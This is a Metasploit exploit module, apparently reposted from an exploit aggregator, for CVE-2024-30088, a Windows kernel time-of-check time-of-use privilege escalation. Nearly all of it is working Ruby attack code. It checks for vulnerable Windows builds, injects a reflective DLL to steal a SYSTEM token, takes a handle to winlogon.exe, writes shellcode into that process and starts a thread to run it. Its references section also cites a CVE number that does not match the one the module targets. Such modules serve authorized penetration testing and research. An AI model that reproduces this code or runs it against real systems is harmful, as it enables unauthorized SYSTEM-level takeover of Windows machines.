Share
## https://sploitus.com/exploit?id=1337DAY-ID-39753
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Local::WindowsKernel
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Post::Windows::Version
  include Msf::Exploit::Retry
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes',
        'Description' => %q{
          CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,
          Windows 11 and Windows Server 2022.

          The vulnerability exists inside the function called `AuthzBasepCopyoutInternalSecurityAttributes` specifically when
          the kernel copies the `_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION` of the current token object to user mode. When the
          kernel preforms the copy of the `SecurityAttributesList`, it sets up the list of the SecurityAttribute's structure
          directly to the user supplied pointed. It then calls `RtlCopyUnicodeString` and
          `AuthzBasepCopyoutInternalSecurityAttributeValues` to copy out the names and values of the `SecurityAttribute` leading
          to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.
        },
        'Author' => [
          'tykawaii98', # PoC (Bùi Quang Hiếu)
          'jheysel-r7' # msf module
        ],
        'References' => [
          [ 'URL', 'https://github.com/tykawaii98/CVE-2024-30088'],
          [ 'CVE', '2024-30038']
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Privileged' => true,
        'SessionTypes' => [ 'meterpreter' ],
        'Arch' => [ ARCH_X64 ],
        'Targets' => [
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DisclosureDate' => '2024-06-11',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, ],
          'Reliability' => [UNRELIABLE_SESSION] # It should return a session on the first run although has the potential to fail.
        },                                      # After the first run the original session will usually die if the module is rerun against the same session.
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_process_get_processes
              stdapi_railgun_api
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_protect
              stdapi_sys_process_memory_read
              stdapi_sys_process_memory_write
            ]
          }
        }
      )
     )
  end

  def target_compatible?(version)
    # NOTE: Win10_1607 = Server2016 and Win10_1809 = Server2019. Both Server and Desktop version are supposed to be affected.
    return true if version.build_number.between?(Msf::WindowsVersion::Win10_1507, Rex::Version.new('10.0.10240.20680')) ||
                   version.build_number.between?(Msf::WindowsVersion::Win10_1607, Rex::Version.new('10.0.14393.7070')) ||
                   version.build_number.between?(Msf::WindowsVersion::Win10_1809, Rex::Version.new('10.0.17763.5936')) ||
                   version.build_number.between?(Msf::WindowsVersion::Win10_21H2, Rex::Version.new('10.0.19044.4529')) ||
                   version.build_number.between?(Msf::WindowsVersion::Win10_22H2, Rex::Version.new('10.0.19045.4529')) ||
                   version.build_number.between?(Msf::WindowsVersion::Win11_21H2, Rex::Version.new('10.0.22000.3019')) ||
                   version.build_number.between?(Msf::WindowsVersion::Win11_22H2, Rex::Version.new('10.0.22621.3737')) ||
                   version.build_number.between?(Msf::WindowsVersion::Win11_23H2, Rex::Version.new('10.0.22631.3737')) ||
                   version.build_number.between?(Msf::WindowsVersion::Server2022, Rex::Version.new('10.0.20348.2522')) ||
                   version.build_number.between?(Msf::WindowsVersion::Server2022_23H2, Rex::Version.new('10.0.25398.950'))

    false
  end

  def check
    return Exploit::CheckCode::Safe('Non Windows systems are not affected') unless session.platform == 'windows'

    version = get_version_info
    return Exploit::CheckCode::Appears("Version detected: #{version}") if target_compatible?(version)

    CheckCode::Safe("Version detected: #{version}")
  end

  def get_winlogon_pid
    processes = client.sys.process.get_processes
    winlogon_pid = nil
    processes.each do |process|
      if process['name'].downcase == 'winlogon.exe'
        winlogon_pid = process['pid']
        break
      end
    end

    winlogon_pid
  end

  def get_winlogon_handle
    pid = session.sys.process.getpid
    process_handle = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
    address = process_handle.memory.allocate(8)

    thread = execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-30088', 'CVE-2024-30088.x64.dll'),
      address,
      pid
    )

    calls = [
      ['kernel32', 'WaitForSingleObject', [ thread.handle, 20000 ] ],
      ['kernel32', 'GetExitCodeThread', [ thread.handle, 4 ] ],
    ]

    results = session.railgun.multi(calls)
    winlogon_handle = nil

    if results.last['lpExitCode'] == 0
      print_good('The exploit was successful, reading SYSTEM token from memory...')
      current_memory = process_handle.memory.read(address, 8)
      winlogon_handle = current_memory.unpack('Q<').first
    end

    session.railgun.kernel32.VirtualFree(address, 0, MEM_RELEASE)
    winlogon_handle
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    version = get_version_info
    unless target_compatible?(version)
      fail_with(Failure::NoTarget, "The exploit does not support this version of Windows: #{version}")
    end

    winlogon_handle = get_winlogon_handle
    fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon handle') unless winlogon_handle
    print_good("Successfully stole winlogon handle: #{winlogon_handle}")

    winlogon_pid = get_winlogon_pid
    fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon pid') unless winlogon_pid
    print_good("Successfully retrieved winlogon pid: #{winlogon_pid}")

    host = session.sys.process.new(winlogon_pid, winlogon_handle)
    shellcode = payload.encoded
    shell_addr = host.memory.allocate(shellcode.length)
    host.memory.protect(shell_addr)

    if host.memory.write(shell_addr, shellcode) < shellcode.length
      fail_with(Failure::UnexpectedReply, 'Failed to write shellcode')
    end

    vprint_status("Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{winlogon_pid})")
    thread = host.thread.create(shell_addr, 0)
    unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread)
      fail_with(Failure::UnexpectedReply, 'Unable to create thread')
    end
  end
end